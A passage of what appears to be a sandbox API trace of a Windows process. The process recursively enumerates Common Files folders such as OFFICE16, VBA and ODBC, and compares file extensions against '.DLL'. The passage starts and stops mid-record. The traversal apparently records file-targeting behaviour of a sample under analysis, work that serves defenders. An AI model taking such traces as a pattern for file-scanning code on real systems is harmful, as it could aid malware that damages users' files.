(lpString1=".cfml", lpString2="L.DLL") returned -1 [0249.505] lstrlenW (lpString=".cfu") returned 4 [0249.505] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0249.505] lstrlenW (lpString=".chm") returned 4 [0249.505] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0249.505] lstrlenW (lpString=".cin") returned 4 [0249.505] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0249.505] lstrlenW (lpString=".class") returned 6 [0249.505] lstrcmpiW (lpString1=".class", lpString2="TL.DLL") returned -1 [0249.505] lstrlenW (lpString=".clx") returned 4 [0249.505] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0249.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.505] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0249.505] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0249.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.505] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0249.505] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0249.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.507] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0249.507] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0249.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.507] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1 [0249.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.508] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0249.508] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0249.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.508] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0249.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.508] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0249.508] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0249.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.508] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0249.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.509] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0249.509] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0249.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.509] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0249.509] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0249.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0249.509] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0249.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.511] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0249.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.512] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0249.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.512] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0249.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.512] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0249.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.512] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0249.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.512] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0249.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.513] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0249.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.513] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0249.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.513] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0249.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.513] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0249.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.514] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0249.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.514] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0 [0249.514] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0249.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.514] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0249.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.514] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0249.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.515] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0249.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.515] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0249.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.516] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0249.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.516] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0249.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.516] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0249.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.517] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0249.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.733] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0249.733] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0249.734] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.734] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0249.734] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0249.734] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.734] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0249.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.736] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0249.736] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0249.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.736] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0249.736] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0249.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.736] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, 